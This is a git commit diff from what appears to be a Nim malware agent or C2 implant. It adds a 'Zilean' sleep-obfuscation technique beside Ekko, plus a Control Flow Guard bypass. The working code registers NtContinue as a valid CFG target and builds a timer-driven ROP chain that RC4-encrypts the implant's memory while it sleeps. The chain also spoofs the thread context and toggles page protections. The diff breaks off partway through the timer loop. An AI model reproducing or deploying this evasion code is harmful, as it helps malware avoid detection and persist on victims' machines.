Implemented Zilean sleep obfuscation technique as an alternative to Ekko.
This commit is contained in:
80
src/agent/core/cfg.nim
Normal file
80
src/agent/core/cfg.nim
Normal file
@@ -0,0 +1,80 @@
|
|||||||
|
# This is a Nim-Port of the CFG bypass required for Ekko sleep to work in a CFG enabled process (like rundll32.exe or explorer.exe)
|
||||||
|
# Original works : https://github.com/ScriptIdiot/sleepmask_ekko_cfg, https://github.com/Crypt0s/Ekko_CFG_Bypass
|
||||||
|
import winim/lean
|
||||||
|
import ../../common/utils
|
||||||
|
|
||||||
|
type
|
||||||
|
CFG_CALL_TARGET_INFO {.pure.} = object
|
||||||
|
Offset: ULONG_PTR
|
||||||
|
Flags: ULONG_PTR
|
||||||
|
|
||||||
|
VM_INFORMATION {.pure.} = object
|
||||||
|
dwNumberOfOffsets: DWORD
|
||||||
|
plOutput: ptr ULONG
|
||||||
|
ptOffsets: ptr CFG_CALL_TARGET_INFO
|
||||||
|
pMustBeZero: PVOID
|
||||||
|
pMoarZero: PVOID
|
||||||
|
|
||||||
|
MEMORY_RANGE_ENTRY {.pure.} = object
|
||||||
|
VirtualAddress: PVOID
|
||||||
|
NumberOfBytes: SIZE_T
|
||||||
|
|
||||||
|
VIRTUAL_MEMORY_INFORMATION_CLASS {.pure.} = enum
|
||||||
|
VmPrefetchInformation
|
||||||
|
VmPagePriorityInformation
|
||||||
|
VmCfgCalltargetInformation
|
||||||
|
VmPageDirtyStateInformation
|
||||||
|
|
||||||
|
# https://ntdoc.m417z.com/ntsetinformationvirtualmemory
|
||||||
|
proc NtSetInformationVirtualMemory(hProcess: HANDLE, VmInformationClass: VIRTUAL_MEMORY_INFORMATION_CLASS, NumberOfEntries: ULONG_PTR, virtualAddresses: ptr MEMORY_RANGE_ENTRY, vmInformation: PVOID, VmInformationLength: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetInformationVirtualMemory"), dynlib: protect("ntdll.dll").}
|
||||||
|
|
||||||
|
# Value taken from: https://www.codemachine.com/downloads/win10.1803/winnt.h
|
||||||
|
var CFG_CALL_TARGET_VALID = 0x00000001
|
||||||
|
|
||||||
|
proc evadeCFG*(address: PVOID): BOOL =
|
||||||
|
var dwOutput: ULONG
|
||||||
|
var status: NTSTATUS
|
||||||
|
var mbi: MEMORY_BASIC_INFORMATION
|
||||||
|
var vmInformation: VM_INFORMATION
|
||||||
|
var virtualAddresses: MEMORY_RANGE_ENTRY
|
||||||
|
var offsetInformation: CFG_CALL_TARGET_INFO
|
||||||
|
var size: SIZE_T
|
||||||
|
|
||||||
|
# Get start of region in which function resides
|
||||||
|
size = VirtualQuery(address, addr(mbi), sizeof(mbi))
|
||||||
|
|
||||||
|
if size == 0x0:
|
||||||
|
return false
|
||||||
|
|
||||||
|
if mbi.State != MEM_COMMIT or mbi.Type != MEM_IMAGE:
|
||||||
|
return false
|
||||||
|
|
||||||
|
# Region in which to mark functions as valid CFG call targets
|
||||||
|
virtualAddresses.NumberOfBytes = cast[SIZE_T](mbi.RegionSize)
|
||||||
|
virtualAddresses.VirtualAddress = cast[PVOID](mbi.BaseAddress)
|
||||||
|
|
||||||
|
# Create an Offset Information for the function that should be marked as valid for CFG
|
||||||
|
offsetInformation.Offset = cast[ULONG_PTR](address) - cast[ULONG_PTR](mbi.BaseAddress)
|
||||||
|
offsetInformation.Flags = CFG_CALL_TARGET_VALID # CFG_CALL_TARGET_VALID
|
||||||
|
|
||||||
|
# Wrap the offsets into a VM_INFORMATION
|
||||||
|
vmInformation.dwNumberOfOffsets = 0x1
|
||||||
|
vmInformation.plOutput = addr(dwOutput)
|
||||||
|
vmInformation.ptOffsets = addr(offsetInformation)
|
||||||
|
vmInformation.pMustBeZero = nil
|
||||||
|
vmInformation.pMoarZero = nil
|
||||||
|
|
||||||
|
# Register `address` as a valid call target for CFG
|
||||||
|
status = NtSetInformationVirtualMemory(
|
||||||
|
GetCurrentProcess(),
|
||||||
|
VmCfgCalltargetInformation,
|
||||||
|
cast[ULONG_PTR](1),
|
||||||
|
addr(virtualAddresses),
|
||||||
|
cast[PVOID](addr(vmInformation)),
|
||||||
|
cast[ULONG](sizeof(vmInformation))
|
||||||
|
)
|
||||||
|
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
return false
|
||||||
|
|
||||||
|
return true
|
||||||
@@ -346,8 +346,10 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
# Verifying that the object file's architecture is x64
|
# Verifying that the object file's architecture is x64
|
||||||
when defined(amd64):
|
when defined(amd64):
|
||||||
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
||||||
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, "Only x64 object files are supported")
|
raise newException(CatchableError, "Only x64 object files are supported")
|
||||||
else:
|
else:
|
||||||
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, "Only x64 object files are supported")
|
raise newException(CatchableError, "Only x64 object files are supported")
|
||||||
|
|
||||||
# Calculate required virtual memory
|
# Calculate required virtual memory
|
||||||
@@ -357,12 +359,16 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
# Allocate memory
|
# Allocate memory
|
||||||
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
||||||
if virtAddr == NULL:
|
if virtAddr == NULL:
|
||||||
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: VirtualFree(virtAddr, 0, MEM_RELEASE)
|
||||||
|
|
||||||
# Allocate heap memory to store section map array
|
# Allocate heap memory to store section map array
|
||||||
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
||||||
if objCtx.secMap == NULL:
|
if objCtx.secMap == NULL:
|
||||||
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
|
||||||
|
|
||||||
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
||||||
|
|
||||||
@@ -392,14 +398,18 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
|
|
||||||
echo "[*] Processing sections and performing relocations."
|
echo "[*] Processing sections and performing relocations."
|
||||||
if not objectProcessSection(addr objCtx):
|
if not objectProcessSection(addr objCtx):
|
||||||
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, "Failed to process sections.")
|
raise newException(CatchableError, "Failed to process sections.")
|
||||||
|
|
||||||
# Executing the object file
|
# Executing the object file
|
||||||
echo "[*] Executing."
|
echo "[*] Executing."
|
||||||
if not objectExecute(addr objCtx, entryFunction, args):
|
if not objectExecute(addr objCtx, entryFunction, args):
|
||||||
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
|
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
|
||||||
echo "[+] Object file executed successfully."
|
echo "[+] Object file executed successfully."
|
||||||
|
|
||||||
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
#[
|
#[
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import winim/inc/tlhelp32
|
import winim/inc/tlhelp32
|
||||||
import os, system, strformat
|
import os, system, strformat
|
||||||
|
|
||||||
|
import ./cfg
|
||||||
import ../../common/[types, utils, crypto]
|
import ../../common/[types, utils, crypto]
|
||||||
|
|
||||||
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
||||||
@@ -18,11 +20,15 @@ type
|
|||||||
NotificationEvent,
|
NotificationEvent,
|
||||||
SynchronizationEvent
|
SynchronizationEvent
|
||||||
|
|
||||||
|
WAIT_CALLBACK_ROUTINE = proc(Parameter: PVOID, TimerOrWaitFired: BOOLEAN): VOID
|
||||||
|
PWAIT_CALLBACK_ROUTINE = ptr WAIT_CALLBACK_ROUTINE
|
||||||
|
|
||||||
# Required APIs (definitions taken from NtDoc)
|
# Required APIs (definitions taken from NtDoc)
|
||||||
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
|
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
|
||||||
proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").}
|
proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").}
|
||||||
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
|
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
|
||||||
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
|
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
|
||||||
|
proc RtlRegisterWait( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlRegisterWait"), dynlib: protect("ntdll.dll").}
|
||||||
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
|
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
|
||||||
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
|
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
|
||||||
proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").}
|
proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").}
|
||||||
@@ -67,7 +73,12 @@ proc GetRandomThreadCtx(): CONTEXT =
|
|||||||
return ctx
|
return ctx
|
||||||
|
|
||||||
# Ekko sleep obfuscation with stack spoofing
|
# Ekko sleep obfuscation with stack spoofing
|
||||||
proc sleepEkko*(sleepDelay: int) =
|
proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) =
|
||||||
|
|
||||||
|
echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."
|
||||||
|
|
||||||
|
if sleepDelay == 0:
|
||||||
|
return
|
||||||
|
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
@@ -78,12 +89,13 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
ctxBackup: CONTEXT
|
ctxBackup: CONTEXT
|
||||||
ctxSpoof: CONTEXT
|
ctxSpoof: CONTEXT
|
||||||
hThread: HANDLE
|
hThread: HANDLE
|
||||||
hEvent: HANDLE
|
hEventTimer: HANDLE
|
||||||
|
hEventWait: HANDLE
|
||||||
hEventStart: HANDLE
|
hEventStart: HANDLE
|
||||||
hEventEnd: HANDLE
|
hEventEnd: HANDLE
|
||||||
queue: HANDLE
|
queue: HANDLE
|
||||||
timer: HANDLE
|
timer: HANDLE
|
||||||
value: DWORD = 0
|
oldProtection: DWORD = 0
|
||||||
delay: DWORD = 0
|
delay: DWORD = 0
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@@ -91,6 +103,9 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue"))
|
NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue"))
|
||||||
SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
|
SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
|
||||||
|
|
||||||
|
# Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG
|
||||||
|
discard evadeCFG(NtContinue)
|
||||||
|
|
||||||
# Locate image base and size
|
# Locate image base and size
|
||||||
var imageBase = GetModuleHandleA(NULL)
|
var imageBase = GetModuleHandleA(NULL)
|
||||||
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
|
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
|
||||||
@@ -104,128 +119,177 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
key.Buffer = keyBuffer.addr
|
key.Buffer = keyBuffer.addr
|
||||||
key.Length = cast[DWORD](keyBuffer.len())
|
key.Length = cast[DWORD](keyBuffer.len())
|
||||||
|
|
||||||
# Sleep obfuscation implementation using NTAPI
|
# Sleep obfuscation implementation using Windows Native API functions
|
||||||
# Create timer queue
|
# Create timer queue
|
||||||
|
if mode == EKKO:
|
||||||
status = RtlCreateTimerQueue(addr queue)
|
status = RtlCreateTimerQueue(addr queue)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
|
||||||
defer: discard RtlDeleteTimerQueue(queue)
|
|
||||||
|
|
||||||
# Create events
|
# Create events
|
||||||
status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
defer: CloseHandle(hEvent)
|
|
||||||
|
if mode == ZILEAN:
|
||||||
|
status = NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
|
|
||||||
status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
defer: CloseHandle(hEventStart)
|
|
||||||
|
|
||||||
status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
||||||
defer: CloseHandle(hEventEnd)
|
|
||||||
|
|
||||||
# Retrieve a random thread context from the current process
|
|
||||||
ctxSpoof = GetRandomThreadCtx()
|
|
||||||
|
|
||||||
|
if mode == EKKO:
|
||||||
# Retrieve the initial thread context
|
# Retrieve the initial thread context
|
||||||
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD)
|
delay += 100
|
||||||
|
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
|
||||||
|
|
||||||
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
||||||
status = RtlCreateTimer(queue, addr timer, SetEvent, addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD)
|
delay += 100
|
||||||
|
status = RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
|
||||||
|
|
||||||
WaitForSingleObject(hEvent, 1000)
|
elif mode == ZILEAN:
|
||||||
|
delay += 100
|
||||||
|
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
|
||||||
|
|
||||||
|
delay += 100
|
||||||
|
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
|
||||||
|
|
||||||
|
# Wait for events to finish before continuing
|
||||||
|
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
||||||
|
|
||||||
|
if spoofStack:
|
||||||
|
# Stack duplication
|
||||||
# Create handle to the current process
|
# Create handle to the current process
|
||||||
|
# Retrieve a random thread context from the current process
|
||||||
|
ctxSpoof = GetRandomThreadCtx()
|
||||||
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, $status.toHex())
|
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
||||||
defer: CloseHandle(hThread)
|
|
||||||
|
|
||||||
# Preparing the ROP chain
|
# Preparing the ROP chain
|
||||||
# Initially, each element in this array will have the same context as the timer's thread context
|
# Initially, each element in this array will have the same context as the timer's thread context
|
||||||
for i in 0 ..< ctx.len():
|
for i in 0 ..< ctx.len():
|
||||||
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
|
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
|
||||||
dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer
|
dec(ctx[i].Rsp, sizeof(PVOID)) # Stack alignment, due to the RSP register being incremented by the size of a pointer
|
||||||
|
|
||||||
|
var gadget = 0
|
||||||
|
|
||||||
# ROP Chain
|
# ROP Chain
|
||||||
# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
|
# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
|
||||||
ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
||||||
ctx[0].Rcx = cast[DWORD64](hEventStart)
|
ctx[gadget].Rcx = cast[DWORD64](hEventStart)
|
||||||
ctx[0].Rdx = cast[DWORD64](INFINITE)
|
ctx[gadget].Rdx = cast[DWORD64](INFINITE)
|
||||||
ctx[0].R8 = cast[DWORD64](NULL)
|
ctx[gadget].R8 = cast[DWORD64](FALSE)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
|
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
|
||||||
ctx[1].Rip = cast[DWORD64](VirtualProtect)
|
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
||||||
ctx[1].Rcx = cast[DWORD64](imageBase)
|
ctx[gadget].Rcx = cast[DWORD64](imageBase)
|
||||||
ctx[1].Rdx = cast[DWORD64](imageSize)
|
ctx[gadget].Rdx = cast[DWORD64](imageSize)
|
||||||
ctx[1].R8 = cast[DWORD64](PAGE_READWRITE)
|
ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
|
||||||
ctx[1].R9 = cast[DWORD64](addr value)
|
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
||||||
ctx[2].Rip = cast[DWORD64](SystemFunction032)
|
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
|
||||||
ctx[2].Rcx = cast[DWORD64](addr img)
|
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
||||||
ctx[2].Rdx = cast[DWORD64](addr key)
|
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
# Ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
|
if spoofStack:
|
||||||
|
# ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
|
||||||
ctxBackup.ContextFlags = CONTEXT_ALL
|
ctxBackup.ContextFlags = CONTEXT_ALL
|
||||||
ctx[3].Rip = cast[DWORD64](GetThreadContext)
|
ctx[gadget].Rip = cast[DWORD64](GetThreadContext)
|
||||||
ctx[3].Rcx = cast[DWORD64](hThread)
|
ctx[gadget].Rcx = cast[DWORD64](hThread)
|
||||||
ctx[3].Rdx = cast[DWORD64](addr ctxBackup)
|
ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
# Ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
|
# ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
|
||||||
ctx[4].Rip = cast[DWORD64](SetThreadContext)
|
ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
|
||||||
ctx[4].Rcx = cast[DWORD64](hThread)
|
ctx[gadget].Rcx = cast[DWORD64](hThread)
|
||||||
ctx[4].Rdx = cast[DWORD64](addr ctxSpoof)
|
ctx[gadget].Rdx = cast[DWORD64](addr ctxSpoof)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
||||||
ctx[5].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
||||||
ctx[5].Rcx = cast[DWORD64](GetCurrentProcess())
|
ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess())
|
||||||
ctx[5].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
|
ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
|
||||||
ctx[5].R8 = cast[DWORD64](FALSE)
|
ctx[gadget].R8 = cast[DWORD64](FALSE)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
||||||
ctx[6].Rip = cast[DWORD64](SystemFunction032)
|
ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
|
||||||
ctx[6].Rcx = cast[DWORD64](addr img)
|
ctx[gadget].Rcx = cast[DWORD64](addr img)
|
||||||
ctx[6].Rdx = cast[DWORD64](addr key)
|
ctx[gadget].Rdx = cast[DWORD64](addr key)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
# Ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
|
if spoofStack:
|
||||||
ctx[7].Rip = cast[DWORD64](SetThreadContext)
|
# ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
|
||||||
ctx[7].Rcx = cast[DWORD64](hThread)
|
ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
|
||||||
ctx[7].Rdx = cast[DWORD64](addr ctxBackup)
|
ctx[gadget].Rcx = cast[DWORD64](hThread)
|
||||||
|
ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
# ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
||||||
ctx[8].Rip = cast[DWORD64](VirtualProtect)
|
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
|
||||||
ctx[8].Rcx = cast[DWORD64](imageBase)
|
ctx[gadget].Rcx = cast[DWORD64](imageBase)
|
||||||
ctx[8].Rdx = cast[DWORD64](imageSize)
|
ctx[gadget].Rdx = cast[DWORD64](imageSize)
|
||||||
ctx[8].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
||||||
ctx[8].R9 = cast[DWORD64](addr value)
|
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
|
||||||
|
inc gadget
|
||||||
|
|
||||||
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
# ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
||||||
ctx[9].Rip = cast[DWORD64](NtSetEvent)
|
ctx[gadget].Rip = cast[DWORD64](NtSetEvent)
|
||||||
ctx[9].Rcx = cast[DWORD64](hEventEnd)
|
ctx[gadget].Rcx = cast[DWORD64](hEventEnd)
|
||||||
ctx[9].Rdx = cast[DWORD64](NULL)
|
ctx[gadget].Rdx = cast[DWORD64](NULL)
|
||||||
|
|
||||||
# Executing timers
|
# Executing timers
|
||||||
for i in 0 ..< ctx.len():
|
for i in 0 .. gadget:
|
||||||
delay += 100
|
delay += 100
|
||||||
|
|
||||||
|
if mode == EKKO:
|
||||||
status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
